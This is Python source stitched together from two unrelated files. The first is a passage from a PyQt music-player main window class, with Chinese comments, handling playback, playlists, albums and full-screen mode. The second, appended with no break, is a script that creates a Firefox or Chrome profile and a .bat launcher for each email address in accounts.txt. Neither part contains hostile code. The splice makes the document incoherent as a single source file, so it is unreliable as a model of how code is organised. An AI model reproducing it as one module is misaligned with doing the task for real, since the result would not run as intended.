        self.albumCardViewer = self.myMusicInterface.albumCardViewer

    def navigationDisplayModeChangedSlot(self, diaPlayMode: int):
        """ 导航界面显示模式改变对应的槽函数 """
        self.titleBar.title.setVisible(self.navigationInterface.isExpanded)
        self.adjustWidgetGeometry()
        self.navigationInterface.navigationMenu.stackUnder(self.playBar)

    def initPlaylist(self):
        """ 初始化播放列表 """
        self.player.setPlaylist(self.playlist)
        # 如果没有上一次的播放列表数据，就设置默认的播放列表
        if not self.playlist.playlist:
            songInfo_list = self.songTabSongListWidget.songInfo_list
            self.playingInterface.setPlaylist(songInfo_list)
            self.playlist.setPlaylist(songInfo_list)
            self.playlist.playlistType = PlaylistType.ALL_SONG_PLAYLIST
        # 将当前歌曲设置为上次关闭前播放的歌曲
        if self.lastSongInfo in self.playlist.playlist:
            index = self.playlist.playlist.index(self.lastSongInfo)
            self.playlist.setCurrentIndex(index)
            self.playingInterface.setCurrentIndex(index)

    def switchPlayState(self):
        """ 播放按钮按下时根据播放器的状态来决定是暂停还是播放 """
        if self.player.state() == QMediaPlayer.PlayingState:
            self.player.pause()
            self.setPlayButtonState(False)
            self.thumbnailToolBar.setButtonsEnabled(True)
        else:
            self.play()

    def setPlayButtonState(self, isPlay: bool):
        """ 设置播放按钮状态 """
        self.subPlayWindow.setPlay(isPlay)
        self.playBar.playButton.setPlay(isPlay)
        self.thumbnailToolBar.playButton.setPlay(isPlay)
        self.playingInterface.playBar.playButton.setPlay(isPlay)
        self.playingInterface.smallestModeInterface.playButton.setPlay(isPlay)

    def volumeChangedSlot(self, value):
        """ 音量滑动条数值改变时更换图标并设置音量 """
        self.player.setVolume(value)
        self.playBar.volumeButton.setVolumeLevel(value)
        if self.sender() == self.playBar.volumeSlider:
            self.playingInterface.playBar.volumeSlider.setValue(value)
        elif self.sender() == self.playingInterface.playBar.volumeSlider.volumeSlider:
            self.playBar.volumeSlider.setValue(value)

    def playerPositionChangeSlot(self):
        """ 播放器的播放进度改变时更新当前播放进度标签和进度条的值 """
        self.playBar.progressSlider.setValue(self.player.position())
        self.playBar.setCurrentTime(self.player.position())
        self.playingInterface.playBar.progressSlider.setValue(
            self.player.position())
        self.playingInterface.playBar.setCurrentTime(self.player.position())
        self.playingInterface.smallestModeInterface.progressBar.setValue(
            self.player.position())

    def playerDurationChangeSlot(self):
        """ 播放器当前播放的歌曲变化时更新进度条的范围和总时长标签 """
        # 刚切换时得到的时长为0，所以需要先判断一下
        if self.player.duration() >= 1:
            self.playBar.setTotalTime(self.player.duration())
            self.playBar.progressSlider.setRange(0, self.player.duration())
            self.playingInterface.playBar.progressSlider.setRange(
                0, self.player.duration())
            self.playingInterface.playBar.setTotalTime(self.player.duration())
            self.playingInterface.smallestModeInterface.progressBar.setRange(
                0, self.player.duration())

    def progressSliderMoveSlot(self):
        """ 手动拖动进度条时改变当前播放进度标签和播放器的值 """
        if self.sender() == self.playBar.progressSlider:
            self.player.setPosition(self.playBar.progressSlider.value())
        elif self.sender() == self.playingInterface.playBar.progressSlider:
            self.player.setPosition(
                self.playingInterface.playBar.progressSlider.value())
        self.playBar.setCurrentTime(self.player.position())
        self.playingInterface.playBar.setCurrentTime(self.player.position())
        self.playingInterface.smallestModeInterface.progressBar.setValue(
            self.player.position())

    def songCardNextPlaySlot(self, songInfo: dict):
        """ 下一首播放动作触发对应的槽函数 """
        # 直接更新正在播放界面的播放列表
        index = self.playlist.currentIndex()
        newPlaylist = self.playlist.playlist[:index + 1] + \
            [songInfo] + self.playlist.playlist[index + 1:]
        self.playingInterface.setPlaylist(newPlaylist, False)
        self.playingInterface.setCurrentIndex(self.playlist.currentIndex())
        self.playlist.insertMedia(
            self.playlist.currentIndex() + 1, songInfo)

    def songCardPlaySlot(self, songInfo: dict):
        """ 歌曲界面歌曲卡的播放按钮按下或者双击歌曲卡时播放这首歌 """
        # 如果当前播放列表模式不是歌曲文件夹的所有歌曲或者指定的歌曲不在播放列表中就刷新播放列表
        if self.playlist.playlistType != PlaylistType.ALL_SONG_PLAYLIST or songInfo not in self.playlist.playlist:
            self.playlist.playlistType = PlaylistType.ALL_SONG_PLAYLIST
            songInfo_list = self.songTabSongListWidget.songInfo_list
            index = songInfo_list.index(songInfo)
            newPlaylist = songInfo_list[index:] + songInfo_list[0:index]
            self.playlist.setPlaylist(newPlaylist)
            self.playingInterface.setPlaylist(newPlaylist)
        # 将播放列表的当前歌曲设置为指定的歌曲
        self.playlist.setCurrentSong(songInfo)
        self.play()

    def playOneSongCard(self, songInfo: dict):
        """ 将播放列表重置为一首歌 """
        self.playlist.playlistType = PlaylistType.SONG_CARD_PLAYLIST
        self.setPlaylist([songInfo])

    def switchLoopMode(self, loopMode):
        """ 根据随机播放按钮的状态和循环模式的状态决定播放器的播放模式 """
        # 记录按下随机播放前的循环模式
        self.playlist.prePlayMode = loopMode
        # 更新按钮样式
        if self.sender() == self.playBar.loopModeButton:
            self.playingInterface.playBar.loopModeButton.setLoopMode(loopMode)
        elif self.sender() == self.playingInterface.playBar.loopModeButton:
            self.playBar.loopModeButton.setLoopMode(loopMode)
        if not self.playlist.randPlayBtPressed:
            # 随机播放按钮没按下时，直接设置播放模式为循环模式按钮的状态
            self.playlist.setPlaybackMode(loopMode)
        else:
            # 随机播放按钮按下时，如果选了单曲循环就直接设置为单曲循环，否则设置为随机播放
            if self.playBar.loopModeButton.loopMode == QMediaPlaylist.CurrentItemInLoop:
                self.playlist.setPlaybackMode(QMediaPlaylist.CurrentItemInLoop)
            else:
                self.playlist.setPlaybackMode(QMediaPlaylist.Random)

    def setRandomPlay(self):
        """ 选择随机播放模式 """
        isRandomPlay = self.sender().isSelected
        self.playlist.setRandomPlay(isRandomPlay)
        if self.sender() == self.playBar.randomPlayButton:
            self.playingInterface.playBar.randomPlayButton.setRandomPlay(
                isRandomPlay)
        elif self.sender() == self.playingInterface.playBar.randomPlayButton:
            self.playBar.randomPlayButton.setRandomPlay(isRandomPlay)

    def updateWindow(self, songInfo):
        """ 切换歌曲时更新歌曲卡、播放栏和子播放窗口 """
        self.playBar.updateSongInfoCard(songInfo)
        index = self.songTabSongListWidget.songInfo_list.index(songInfo)
        self.songTabSongListWidget.setPlay(index)
        # 更新专辑界面的歌曲卡
        if songInfo in self.albumInterface.songListWidget.songInfo_list:
            index = self.albumInterface.songListWidget.songInfo_list.index(
                songInfo)
            self.albumInterface.songListWidget.setPlay(index)
        self.subPlayWindow.updateWindow(songInfo)

    def hotKeySlot(self, funcObj):
        """ 热键按下时显示子播放窗口并执行对应操作 """
        funcObj()
        self.showSubPlayWindowSig.emit()

    def playAlbum(self, playlist: list):
        """ 播放专辑中的歌曲 """
        # 直接更新播放列表
        self.playingInterface.setPlaylist(playlist)
        self.playlist.playAlbum(playlist)
        self.play()

    def multiSongsNextPlaySlot(self, songInfo_list: list):
        """ 多首歌下一首播放动作触发对应的槽函数 """
        index = self.playlist.currentIndex()
        newPlaylist = self.playlist.playlist[:index + 1] + \
            songInfo_list + self.playlist.playlist[index + 1:]
        self.playingInterface.setPlaylist(newPlaylist, isResetIndex=False)
        self.playingInterface.setCurrentIndex(self.playlist.currentIndex())
        # insertMedia的时候自动更新playlist列表，所以不必手动更新列表
        self.playlist.insertMedias(
            self.playlist.currentIndex() + 1, songInfo_list)

    def disorderPlayAll(self):
        """ 无序播放所有 """
        self.playlist.playlistType = PlaylistType.ALL_SONG_PLAYLIST
        newPlaylist = deepcopy(self.songTabSongListWidget.songInfo_list)
        shuffle(newPlaylist)
        self.setPlaylist(newPlaylist)

    def play(self):
        """ 播放歌曲并改变按钮样式 """
        self.player.play()
        self.setPlayButtonState(True)
        # 显示被隐藏的歌曲信息卡
        if self.playlist.playlist:
            if not self.playBar.songInfoCard.isVisible() and self.playBar.isVisible():
                self.playBar.songInfoCard.show()
                self.playBar.songInfoCard.updateSongInfoCard(
                    self.playlist.playlist[0])

    def initPlayBar(self):
        """ 从配置文件中读取配置数据来初始化播放栏 """
        # 初始化音量
        volume = self.settingInterface.config.get('volume', 20)
        self.playingInterface.playBar.volumeSlider.setValue(volume)
        # 初始化亚克力颜色
        acrylicColor = self.settingInterface.config.get(
            'playBar-acrylicColor', '225c7fCC')
        self.playBar.setAcrylicColor(acrylicColor)

    def showPlayingInterface(self):
        """ 显示正在播放界面 """
        # 先退出选择模式
        self.exitSelectionMode()
        self.playBar.hide()
        self.titleBar.title.hide()
        self.titleBar.returnBt.show()
        if not self.playingInterface.isPlaylistVisible:
            self.playingInterface.songInfoCardChute.move(
                0, -self.playingInterface.playBar.height() + 68)
            self.playingInterface.playBar.show()
        self.totalStackWidget.setCurrentIndex(1)
        self.titleBar.setWhiteIcon(True)

    def hidePlayingInterface(self):
        """ 隐藏正在播放界面 """
        self.playBar.show()
        self.totalStackWidget.setCurrentIndex(0)
        # 根据当前界面设置标题栏按钮颜色
        if self.subStackWidget.currentWidget() == self.albumInterface:
            self.titleBar.returnBt.setWhiteIcon(False)
        else:
            self.titleBar.setWhiteIcon(False)
        # 隐藏返回按钮
        if len(self.titleBar.stackWidgetIndex_list) == 1 and self.subStackWidget.currentWidget() != self.albumInterface:
            self.titleBar.returnBt.hide()
        self.titleBar.title.setVisible(self.navigationInterface.isExpanded)

    def setQss(self):
        """ 设置层叠样式 """
        with open(r'resource\css\mainWindow.qss', encoding='utf-8') as f:
            self.setStyleSheet(f.read())

    def playingInterfaceCurrrentIndexChangedSlot(self, index):
        """ 正在播放界面下标变化槽函数 """
        self.playlist.setCurrentIndex(index)
        self.play()

    def setMute(self, isMute):
        """ 设置静音 """
        self.player.setMuted(isMute)
        if self.sender() == self.playBar.volumeButton:
            self.playingInterface.playBar.volumeButton.setMute(isMute)
            self.playingInterface.playBar.volumeSlider.volumeButton.setMute(
                isMute)
        elif self.sender() == self.playingInterface.playBar.volumeSlider:
            self.playBar.volumeButton.setMute(isMute)

    def setFullScreen(self):
        """ 设置全屏 """
        if not self.isFullScreen():
            # 更新标题栏
            self.playBar.hide()
            self.titleBar.title.hide()
            self.titleBar.setWhiteIcon(True)
            self.titleBar.hide()
            # 切换到正在播放界面
            self.totalStackWidget.setCurrentIndex(1)
            self.showFullScreen()
            self.playingInterface.playBar.fillScreenButton.setFillScreen(True)
            if self.playingInterface.isPlaylistVisible:
                self.playingInterface.songInfoCardChute.move(
                    0, 258 - self.height())
        else:
            self.exitFullScreen()

    def exitFullScreen(self):
        """ 退出全屏 """
        if not self.isFullScreen():
            return
        self.showNormal()
        # 更新最大化按钮图标
        self.titleBar.maxBt.setMaxState(False)
        self.titleBar.returnBt.show()
        self.titleBar.show()
        self.playingInterface.playBar.fillScreenButton.setFillScreen(False)
        if self.playingInterface.isPlaylistVisible:
            self.playingInterface.songInfoCardChute.move(
                0, 258 - self.height())

    def crawCompleteSlot(self):
        """ 爬虫完成信号槽函数 """
        self.myMusicInterface.scanTargetPathSongInfo(
            self.settingInterface.config.get('selected-folders'))

    def showPlaylist(self):
        """ 显示正在播放界面的播放列表 """
        self.playingInterface.showPlaylist()
        # 直接设置播放栏上拉箭头按钮箭头方向朝下
        self.playingInterface.playBar.pullUpArrowButton.setArrowDirection(
            'down')
        if self.playingInterface.isPlaylistVisible:
            self.showPlayingInterface()

    def clearPlaylist(self):
        """ 清空播放列表 """
        self.playlist.playlistType = PlaylistType.NO_PLAYLIST
        self.playlist.clear()
        self.playingInterface.clearPlaylist()

    def addOneSongToPlayingPlaylist(self, songInfo: dict):
        """ 向正在播放列表尾部添加一首歌 """
        self.playlist.addMedia(songInfo)
        self.playingInterface.setPlaylist(self.playlist.playlist, False)

    def addSongsToPlayingPlaylist(self, songInfo_list: list):
        """ 向正在播放列表尾部添加多首歌 """
        self.playlist.addMedias(songInfo_list)
        self.playingInterface.setPlaylist(self.playlist.playlist, False)

    def switchToAlbumInterfaceByName(self, albumName: str, songerName: str):
        """ 由名字切换到专辑界面 """
        # 处于选择模式下直接返回
        if self.isInSelectionMode:
            return
        if self.albumInterface.albumInfo.get('album') != albumName or \
                self.albumInterface.albumInfo.get('songer') != songerName or not self.currentAlbumCard:
            self.currentAlbumCard = self.albumCardViewer.findAlbumCardByName(
                albumName, songerName)
        if self.currentAlbumCard:
            self.__switchToAlbumInterface(
                self.currentAlbumCard.albumInfo)

    def switchToAlbumInterfaceByAlbumInfo(self, albumInfo: dict):
        """ 由专辑信息切换到专辑界面 """
        # 处于选择模式下直接返回
        if self.isInSelectionMode:
            return
        # 引用对应的专辑卡
        if self.albumInterface.albumInfo != albumInfo or not self.currentAlbumCard:
            self.currentAlbumCard = self.albumCardViewer.findAlbumCardByAlbumInfo(
                albumInfo)
        self.__switchToAlbumInterface(albumInfo)

    def __switchToAlbumInterface(self, albumInfo: dict):
        """ 切换到专辑界面 """
        # 退出全屏
        if self.isFullScreen():
            self.exitFullScreen()
        # 显示返回按钮
        self.titleBar.returnBt.show()
        QApplication.processEvents()
        self.albumInterface.updateWindow(albumInfo)
        self.subStackWidget.setCurrentWidget(self.albumInterface, duration=300)
        self.totalStackWidget.setCurrentIndex(0)
        self.playBar.show()
        self.titleBar.setWhiteIcon(True)
        self.titleBar.returnBt.setWhiteIcon(False)
        # 根据当前播放的歌曲设置歌曲卡播放状态
        songInfo = self.playlist.playlist[self.playlist.currentIndex()]
        if songInfo in self.albumInterface.songInfo_list:
            index = self.albumInterface.songInfo_list.index(
                songInfo)
            self.albumInterface.songListWidget.setPlay(index)
        else:
            self.albumInterface.songListWidget.songCard_list[
                self.albumInterface.songListWidget.playingIndex].setPlay(False)

    def albumInterfaceSongCardPlaySlot(self, index):
        """ 专辑界面歌曲卡播放按钮按下时 """
        albumSongList = self.albumInterface.songInfo_list
        # 播放模式不为专辑播放模式或者播放列表不同时直接刷新播放列表
        cond = self.playlist.playlistType != PlaylistType.ALBUM_CARD_PLAYLIST \
            or self.playlist.playlist != albumSongList
        if cond:
            self.playAlbum(albumSongList)
        self.playlist.setCurrentIndex(index)

    def returnButtonSlot(self):
        """ 标题栏返回按钮的槽函数 """
        if self.isInSelectionMode:
            return
        # 隐藏音量条
        self.playingInterface.playBar.volumeSlider.hide()
        if self.totalStackWidget.currentWidget() == self.playingInterface:
            self.hidePlayingInterface()
        else:
            # 当前界面不是albumInterface时弹出下标列表的最后一个下标
            if self.titleBar.stackWidgetIndex_list and self.subStackWidget.currentWidget() != self.albumInterface:
                self.titleBar.stackWidgetIndex_list.pop()
            if self.titleBar.stackWidgetIndex_list:
                stackWidgetName, index = self.titleBar.stackWidgetIndex_list[-1]
                if stackWidgetName == 'myMusicInterfaceStackWidget':
                    self.myMusicInterface.stackedWidget.setCurrentIndex(index)
                    if self.subStackWidget.currentWidget() != self.albumInterface:
                        self.subStackWidget.setCurrentIndex(
                            0, True, False, duration=200, easingCurve=QEasingCurve.InCubic)
                    else:
                        self.subStackWidget.setCurrentIndex(0, True)
                    self.navigationInterface.setCurrentIndex(0)
                    self.myMusicInterface.setSelectedButton(index)
                elif stackWidgetName == 'subStackWidget':
                    isShowNextWidgetDirectly = not (
                        self.subStackWidget.currentWidget() is self.settingInterface)
                    self.subStackWidget.setCurrentIndex(
                        index, True, isShowNextWidgetDirectly, 200, QEasingCurve.InCubic)
                    self.navigationInterface.setCurrentIndex(index)
                if len(self.titleBar.stackWidgetIndex_list) == 1:
                    # 没有上一个下标时隐藏返回按钮
                    self.titleBar.returnBt.hide()
        # 更新按钮颜色
        self.titleBar.setWhiteIcon(False)

    def stackWidgetIndexChangedSlot(self, index):
        """ 堆叠窗口下标改变时的槽函数 """
        if self.sender() is self.navigationInterface:
            if self.subStackWidget.currentIndex() == index:
                return
            self.titleBar.stackWidgetIndex_list.append(
                ('subStackWidget', index))
            self.titleBar.setWhiteIcon(False)
        elif self.sender() is self.myMusicInterface:
            self.titleBar.stackWidgetIndex_list.append(
                ('myMusicInterfaceStackWidget', index))
        self.titleBar.returnBt.show()

    def editSongCardSlot(self, oldSongInfo: dict, newSongInfo: dict):
        """ 编辑歌曲卡完成信号的槽函数 """
        self.playlist.updateOneSongInfo(oldSongInfo, newSongInfo)
        self.playingInterface.updateOneSongCard(oldSongInfo, newSongInfo)
        if self.sender() == self.albumInterface.songListWidget:
            self.songTabSongListWidget.updateOneSongCard(
                oldSongInfo, newSongInfo)
        elif self.sender() == self.songTabSongListWidget:
            # 获取专辑信息并更新专辑界面和专辑信息
            albumInfo = self.albumCardViewer.updateOneAlbumCardSongInfo(
                newSongInfo)
            if albumInfo:
                self.albumInterface.updateWindow(albumInfo)
            self.albumInterface.updateOneSongCard(oldSongInfo, newSongInfo)

    def updateAlbumInfo(self, oldAlbumInfo: dict, newAlbumInfo: dict):
        """ 更新专辑卡及其对应的歌曲卡信息 """
        oldSongInfo_list = oldAlbumInfo['songInfo_list']
        newSongInfo_list = newAlbumInfo['songInfo_list']
        self.songTabSongListWidget.updateMultiSongCards(
            deepcopy(oldSongInfo_list), deepcopy(newSongInfo_list))
        self.playlist.updateMultiSongInfo(
            deepcopy(oldSongInfo_list), deepcopy(newSongInfo_list))
        self.playingInterface.updateMultiSongCards(
            deepcopy(oldSongInfo_list), deepcopy(newSongInfo_list))
        # 更新专辑标签界面
        with open('Data\\songInfo.json', encoding='utf-8') as f:
            songInfo_list = json.load(f)
        self.myMusicInterface.updateAlbumCardViewer(songInfo_list)

    def smallestModeStateChanedSlot(self, state: bool):
        """ 最小播放模式状态改变时更改标题栏按钮可见性和窗口是否置顶 """
        self.titleBar.closeBt.show()
        self.titleBar.returnBt.setHidden(state)
        self.titleBar.minBt.setHidden(state)
        self.titleBar.maxBt.setHidden(state)
        self.windowEffect.setWindowStayOnTop(self.winId(), state)

    def showSmallestModeInterface(self):
        """ 切换到最小化播放模式 """
        self.showPlayingInterface()
        self.playingInterface.showSmallestModeInterface()

    def selectionModeStateChangedSlot(self, isOpenSelectionMode: bool):
        """ 进入/退出选择模式信号的槽函数 """
        self.isInSelectionMode = isOpenSelectionMode
        self.playBar.setHidden(isOpenSelectionMode)

    def playCheckedCards(self, songInfo_list: list):
        """ 重置播放列表为所有选中的歌曲卡中的歌曲 """
        self.playlist.playlistType = PlaylistType.CUSTOM_PLAYLIST
        self.setPlaylist(songInfo_list)

    def setPlaylist(self, playlist: list):
        """ 设置播放列表 """
        self.playingInterface.setPlaylist(playlist)
        self.playlist.setPlaylist(playlist)
        self.play()

    def switchToSettingInterface(self):
        """ 切换到设置界面 """
        # 先退出选择模式再切换界面
        self.exitSelectionMode()
        self.subStackWidget.setCurrentWidget(
            self.settingInterface, duration=300)

    def switchToMyMusicInterface(self):
        """ 切换到我的音乐界面 """
        self.exitSelectionMode()
        self.subStackWidget.setCurrentWidget(self.myMusicInterface)

    def switchToPlaylistCardInterface(self):
        """ 切换到播放列表卡界面 """
        self.exitSelectionMode()
        self.subStackWidget.setCurrentWidget(
            self.playlistCardInterface, duration=300)

    def exitSelectionMode(self):
        """ 退出选择模式 """
        if not self.isInSelectionMode:
            return
        self.myMusicInterface.exitSelectionMode()
        self.albumInterface.exitSelectionMode()
        self.playlistCardInterface.exitSelectionMode()

    def readCustomPlaylists(self):
        """ 读取自定义播放列表 """
        # 如果没有播放列表文件夹就创建一个
        if not os.path.exists('Playlists'):
            os.mkdir('Playlists')
        # 获取播放列表
        self.customPlaylists = []
        playlistFile_list = os.listdir('Playlists')
        for playlistFile in playlistFile_list:
            with open(os.path.join('Playlists', playlistFile), encoding='utf-8') as f:
                self.customPlaylists.append(json.load(f))

    def showCreatePlaylistPanel(self, songInfo_list: list = None):
        """ 显示创建播放列表面板 """
        createPlaylistPanel = CreatePlaylistPanel(self, songInfo_list)
        createPlaylistPanel.createPlaylistSig.connect(
            self.createPlaylistSlot)
        createPlaylistPanel.exec_()

    def createPlaylistSlot(self, playlist: dict):
        """ 创建播放列表 """
        self.customPlaylists.append(playlist)
        self.playlistCardInterface.addOnePlaylistCard(playlist)
        self.navigationInterface.updateWindow()

    def renamePlaylistSlot(self, oldPlaylist: dict, newPlaylist: dict):
        """ 重命名播放列表槽函数 """
        index = self.customPlaylists.index(oldPlaylist)
        self.customPlaylists[index] = newPlaylist
        self.navigationInterface.updateWindow()

    def removePlaylistSlot(self, playlist: dict):
        """ 删除播放列表槽函数 """
        self.customPlaylists.remove(playlist)
        self.navigationInterface.updateWindow()

    def playCustomPlaylist(self, songInfo_list: list):
        """ 播放自定义播放列表中的所有歌曲 """
        self.playCheckedCards(songInfo_list)

    def addSongsToCustomPlaylist(self, playlistName: str, songInfo_list: list):
        """ 将歌曲添加到自定义播放列表中 """
        playlist = self.playlistCardInterface.addSongsToPlaylist(
            playlistName, songInfo_list)
        index = self.getCustomPlaylistIndexByName(playlistName)
        self.customPlaylists[index] = deepcopy(playlist)

    def getCustomPlaylistIndexByName(self, playlistName: str) -> int:
        """ 通过播放列表名字得到播放列表的下标 """
        for index, playlist in enumerate(self.customPlaylists):
            if playlist['playlistName'] == playlistName:
                return index
        raise Exception(f'指定的播放列表"{playlistName}"不存在')


import os
import subprocess
import sys

FIREFOX_PATH 	= r'C:/Program Files (x86)/Mozilla Firefox/firefox'
CHROME_PATH 	= r'C:/Users/{}/AppData/Local/Google/Chrome/Application/chrome'.format(os.getlogin())

with open('accounts.txt') as f:
	emails = [ line.strip('\n') for line in f.readlines() ]

	for email in emails:
		username = email.split('@')[0]
		with open(f'../{email}.bat', 'w') as f:
			# creating firefox profiles
			try:
				if '--chrome' in sys.argv:
					url = None
					if '-u' in sys.argv:
						url = sys.argv[sys.argv.index('-u') + 1]
					f.write(f"\"{CHROME_PATH}\" --user-data-dir=C:/chrome-profiles/{username} --no-first-run --no-default-browser-check {url}")
				else:
					# creating sortcuts
					f.write(f'\"{FIREFOX_PATH}\" -p {username}')
					subprocess.run(f'\"{FIREFOX_PATH}\" -CreateProfile {username}', shell=True, check=True)

			except subprocess.CalledProcessError:
				pass
		print(f'{email:.<70} [Created]')